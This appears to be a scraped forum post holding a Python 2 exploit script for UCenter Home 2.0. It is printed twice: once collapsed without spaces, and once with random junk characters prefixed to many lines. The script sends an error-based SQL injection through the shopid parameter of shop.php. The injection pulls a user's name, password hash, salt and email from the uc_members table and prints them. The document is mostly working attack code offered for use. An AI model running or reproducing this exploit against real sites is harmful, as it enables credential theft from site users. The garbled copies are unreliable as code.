UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
% R) v. [4 x7 n4 W- p1 M( S
! h" S2 z% v3 O1 q- f
' v; W! X6 g, l! c#!/usr/bin/env python  

0 u2 @6 R. [+ P8 X! ?. h$ l  pimport sys  
import urllib2  
# V& q) T" `- R5 J2 L. u5 Iimport re  
+ K" e/ y( q! B0 S0 e
0 w7 Z6 S* Q5 `) X; y8 Ldef info():  
" t5 Y+ f. G1 @8 Z7 q    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
    print 'changed:qiaoy'  
    print 'exp:'  
9 c. L) p# n0 u$ l; U% J6 s    print ' ./UCenter_Home_2.0.py site'  
3 t! M* c/ [# ^9 L, I; S7 J
7 T5 t. `4 S) J4 T. r$ w8 |def main():  
9 ~/ {4 C8 _  p% f9 r  P    if len(sys.argv) != 2:  
        info()  
4 S( O5 x9 A0 k4 t, l    else:  
        site = sys.argv[1]  
        if site[0:7] == 'http://':  
1 P5 l* R* R+ o. @  X% x- f            sitesite =site  
        elif site[0:8] == 'https://':  
/ w$ Q  J$ F+ `/ l/ O; K            sitesite = site  
- }6 V+ j4 u2 Q( J& C# f        else:  
4 u* K' G1 e* t3 O6 \6 M% ~( q! \            site = 'http://'+site  
        try:  
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
7 ^1 ^' s9 r3 `) F; R; {; U* y            Value = urllib2.urlopen(url).read()  
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
+ P  t. p# p0 S* Y8 I            hacked = Msg.split(':')  
            print 'Name:    '+hacked[1]  
5 Y; q2 }/ \0 a' R1 x7 C6 M2 b% w            print 'Passwd:  '+hacked[2]  
            print 'salt:    '+hacked[3]  
            print 'email:   '+hacked[4]  
        except:  
, T6 n! g/ q. ^            print 'Sorry,I can\'t work............'  

! `) O/ P# k9 R  qif __name__ == '__main__':  
1 o; L# e. e$ L/ F% s$ Q' P/ Q    main()